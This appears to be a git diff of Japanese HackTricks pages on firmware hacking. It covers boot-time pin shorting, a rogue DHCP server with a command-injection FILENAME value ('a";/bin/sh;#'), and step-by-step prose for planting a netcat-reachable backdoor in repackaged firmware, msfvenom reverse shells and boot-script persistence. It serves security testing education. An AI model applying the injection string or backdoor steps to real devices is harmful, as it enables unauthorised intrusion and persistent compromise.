- デバイスの起動シーケンス中に1つのピンを接地に接続し、特にカーネルが解凍される前にSPIまたはNANDフラッシュチップとやり取りする際には、極めて注意してください。ピンをショートする前にNANDフラッシュチップのデータシートを参照してください。
6. **注意すべきハードウェア干渉**:
- デバイスのブートアップシーケンス中に1つのピンをグラウンドに接続し、SPIまたはNANDフラッシュチップと相互作用する際は注意が必要です。特にカーネルが解凍される前に行うべきです。ピンをショートさせる前にNANDフラッシュチップのデータシートを参照してください。
7. **ローグDHCPサーバーの設定**
- デバイスがPXEブート中に摂取する悪意のあるパラメータを持つローグDHCPサーバーを設定します。MetasploitMSFのDHCP補助サーバーなどのツールを利用します。 'FILENAME'パラメータを`'a";/bin/sh;#'`などのコマンドインジェクションコマンドで変更して、デバイスの起動手順の入力検証をテストします。
7. **悪意のあるDHCPサーバーの設定**:
- PXEブート中にデバイスが取り込む悪意のあるパラメータを持つロゲDHCPサーバーを設定します。MetasploitのMSFDHCP補助サーバーなどのツールを利用します。'FILENAME'パラメータをコマンドインジェクションコマンド(例:`'a";/bin/sh;#'`)で変更し、デバイスの起動手順に対する入力検証をテストします。
**注意**: デバイスのピンと物理的なやり取りを伴う手順(*アスタリスクでマークされています)は、デバイスを損傷させないように極めて注意してアプローチする必要があります。
**注意**: デバイスのピンとの物理的な相互作用を伴う手順(*アスタリスクでマークされたもの)は、デバイスを損傷しないように極めて注意して行うべきです。
## 参考文献
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## ファームウェアの整合性
**カスタムファームウェアやコンパイルされたバイナリをアップロードして整合性や署名検証の欠陥を悪用**することができます。バックドアバインドシェルのコンパイルには次の手順が続けられます:
**カスタムファームウェアおよび/またはコンパイルされたバイナリは、整合性または署名検証の欠陥を悪用するためにアップロードできます**。バックドアバインドシェルのコンパイルには、以下の手順を実行できます:
1. ファームウェアはfirmware-mod-kitFMKを使用して抽出できます。
2. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります。
3. Buildrootや他の環境に適した方法を使用して、クロスコンパイラを構築できます。
1. ファームウェアは、firmware-mod-kit (FMK) を使用して抽出できます。
2. 対象のファームウェアアーキテクチャとエンディアンネスを特定する必要があります。
3. Buildroot または環境に適した他の方法を使用してクロスコンパイラを構築できます。
4. クロスコンパイラを使用してバックドアを構築できます。
5. バックドアを抽出されたファームウェアの/usr/binディレクトリにコピーできます。
6. 適切なQEMUバイナリを抽出されたファームウェアのrootfsにコピーできます。
7. chrootとQEMUを使用してバックドアをエミュレートできます。
8. バックドアにはnetcatを介してアクセスできます。
9. QEMUバイナリは抽出されたファームウェアのrootfsから削除する必要があります。
10. FMKを使用して修正されたファームウェアを再パッケージできます。
11. バックドア付きファームウェアは、ファームウェア解析ツールキットFATを使用してエミュレートし、netcatを使用してターゲットのバックドアIPとポートに接続することでテストできます。
5. バックドアを抽出したファームウェアの /usr/bin ディレクトリにコピーできます。
6. 適切な QEMU バイナリを抽出したファームウェアの rootfs にコピーできます。
7. chroot QEMU を使用してバックドアをエミュレートできます。
8. netcat を介してバックドアにアクセスできます。
9. QEMU バイナリは、抽出したファームウェアの rootfs から削除する必要があります。
10. 修正されたファームウェアは、FMK 使用して再パッケージできます。
11. バックドア付きファームウェアは、ファームウェア分析ツールキット (FAT) を使用してエミュレートし、netcat を使用してターゲットバックドアの IP とポートに接続することでテストできます。
既にダイナミック解析、ブートローダー操作、またはハードウェアセキュリティテストを通じてルートシェルを取得している場合、インプラントやリバースシェルなどの事前コンパイルされた悪意のあるバイナリを実行できます。Metasploitフレームワークや'msfvenom'などの自動ペイロード/インプラントツールを使用する場合は、次の手順を使用できます:
動的分析、ブートローダー操作、またはハードウェアセキュリティテストを通じてルートシェルがすでに取得されている場合、インプラントやリバースシェルなどの事前コンパイルされた悪意のあるバイナリを実行できます。Metasploit フレームワークや 'msfvenom' のような自動ペイロード/インプラントツールを以下の手順で活用できます:
1. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります。
2. Msfvenomを使用して、ターゲットペイロード、攻撃者ホストIP、リスニングポート番号、ファイルタイプ、アーキテクチャ、プラットフォーム、および出力ファイルを指定できます。
3. ペイロードを侵害されたデバイスに転送し、実行権限があることを確認できます。
4. Metasploitを準備して、msfconsoleを起動し、設定をペイロードに応じて構成できます。
5. 侵害されたデバイスでmeterpreterリバースシェルを実行できます。
6. 開かれるmeterpreterセッションを監視できます。
7. ポストエクスプロイテーション活動を実行できます。
1. 対象のファームウェアアーキテクチャとエンディアンネスを特定する必要があります。
2. Msfvenom を使用して、ターゲットペイロード、攻撃者ホスト IP、リスニングポート番号、ファイルタイプ、アーキテクチャ、プラットフォーム、および出力ファイルを指定できます。
3. ペイロードを侵害されたデバイスに転送し、実行権限があることを確認ます。
4. Metasploit を準備し、msfconsole を起動してペイロードに応じて設定を構成します。
5. 侵害されたデバイスで meterpreter リバースシェルを実行できます。
6. meterpreter セッションが開くときに監視できます。
7. ポストエクスプロイ活動を実行できます。
可能であれば、起動スクリプト内の脆弱性を悪用して、再起動時にデバイスに持続的なアクセス権を取得することができます。これらの脆弱性は、起動スクリプトが、SDカードやルートファイルシステム以外のデータを保存するために使用されるフラッシュボリュームなどの信頼できないマウントされた場所にあるコードを参照、[シンボリックリンク](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)、または依存している場合に発生します。
可能であれば、起動スクリプト内の脆弱性を悪用して、再起動を跨いでデバイスへの永続的なアクセスを取得できます。これらの脆弱性は、起動スクリプトが信頼できないマウントされた場所SDカードやルートファイルシステムの外にデータを保存するために使用されるフラッシュボリュームなどにあるコードを参照、[シンボリックリンク](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) するか、依存する場合に発生します。
## 参考文献
* 詳細については、[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)を参照してください。
* 詳細情報は [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) を確認してください。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more